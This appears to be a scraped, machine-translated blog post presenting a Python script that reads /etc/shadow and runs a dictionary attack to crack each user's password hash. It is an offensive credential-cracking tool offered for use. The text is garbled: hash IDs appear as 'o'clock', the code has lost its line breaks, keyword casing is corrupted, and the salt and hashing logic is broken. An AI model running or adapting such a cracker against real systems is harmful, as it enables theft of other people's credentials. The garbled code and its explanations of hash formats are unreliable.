Linux Shadow file hack

Linux Shadow file hack program

Parsing the contents of a password string in a shadow file

 

The ID is 1 o'clock and is encrypted with MD5;

id is 5 o'clock and SHA256 is used for encryption;

id is 6 o'clock, encrypted with SHA512.

# -*- coding: utf-8 -*-import cryptimport sysimport hashlibdictionary= SYS.ARGV[1]DEF ENMD5 (Word,salt):     md5_obj=hashlib.md5 ()     md5_ Obj.update (Word+salt)     return md5_obj.hexdigest () def ensha512 (Word,salt):     sha512_obj=hashlib.sha512 ()     sha512_obj.update (Word+salt)      return sha512_obj.hexdigest () Def testpass (cryptpass):     salt= Cryptpass[0:2]    dictfile=open (dictionary, ' r ')     for word  In dictfile.readlines ():         word=word.strip (' \ n ')          if salt== ' $ ':             cryptword=crypt.crypt (Word,salt)         elif  salt== ' $ $ ':             CRYPTWORD=ENMD5 (Word,salt)          elif salt== ' $6 ':             cryptword=ensha512 (Word,salt)         else:             return         if  (Cryptword==cryptpass):             print  "[+] found password:" +word+ "\ n"              return        print  "[-] password not  found.\n "        returndef main ():     Passfile=open ('/etc/shadow ')     for line in passfile.readlines ():         if  ":"  in line:             user=line.split (': ') [0]            cryptpass =line.split (': ') [1].strip ('   ')              print  "[*] cracking password for:" +user             testpass (Cryptpass) if __name__== "__main__":     main ()

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Linux Shadow file hack